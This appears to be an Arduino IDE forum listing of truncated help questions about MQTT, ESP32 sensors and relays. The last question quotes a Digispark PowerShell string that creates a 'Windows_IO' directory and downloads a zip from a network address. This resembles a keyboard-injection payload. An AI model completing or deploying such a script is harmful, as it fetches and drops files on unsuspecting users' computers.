Category : arduino-ide

I have been use the MQTT-library by Goel Gaehwiller(ver. 2.5.0) ad got a little problem with the implementation of the MQTTClient into my own class. The library used a non-class function as a call-back. I tried to use many C++ macroses, but all break the compilation: void CMQTT::local_mqtt_callback(MQTTClient* client, char* topic, char* payload, int payload_length) ..

Read more

I’m getting this error, when trying to use Wifi + DallasTemperature on my esp32. Temperature sensor is Gravity DS18B20. When I comment this line connectToWiFi(); it works fine. here is my code #include <OneWire.h> #include <DallasTemperature.h> #include <WiFi.h> // Wifi Settings #define WIFI_NETWORK "name" #define WIFI_PASSWORD "pass" #define WIFI_TIMOUT_MS 20000 const int oneWireBus = 32; ..

Read more

#define CLK 2 #define DT 3 #define DHT11_PIN 7 #define TEMP_RELAY 10 //IN 1 #define FAN_RELAY 9 // IN 2 #define EXHAUST 6 // IN 3 #define RELAYE 5 //IN 4 #include <EEPROM.h> #include <Wire.h> #include <LiquidCrystal_PCF8574.h> #include <dht.h> LiquidCrystal_PCF8574 lcd(0x27); dht DHT; float period = 2000; float relayState = LOW; // for HUMIDITY float ..

Read more

so i have this string that is a powershell command. and it will compile, but the digispark will not print it and just prints blank lines. here is my file with the string: "(if (Test-Path -Path "C:Windows_IO\"){" "( echo(‘directory found already. Using dir…’)" "(}else{" "( new-item -itemtype directory -path C:Windows_IO" "(}" "($p = "/Windows_IO/dwnld.zip";(New-Object System.Net.WebClient).DownloadFile("http://192.168.178.50:54414/dwnld",$p);n" ..

Read more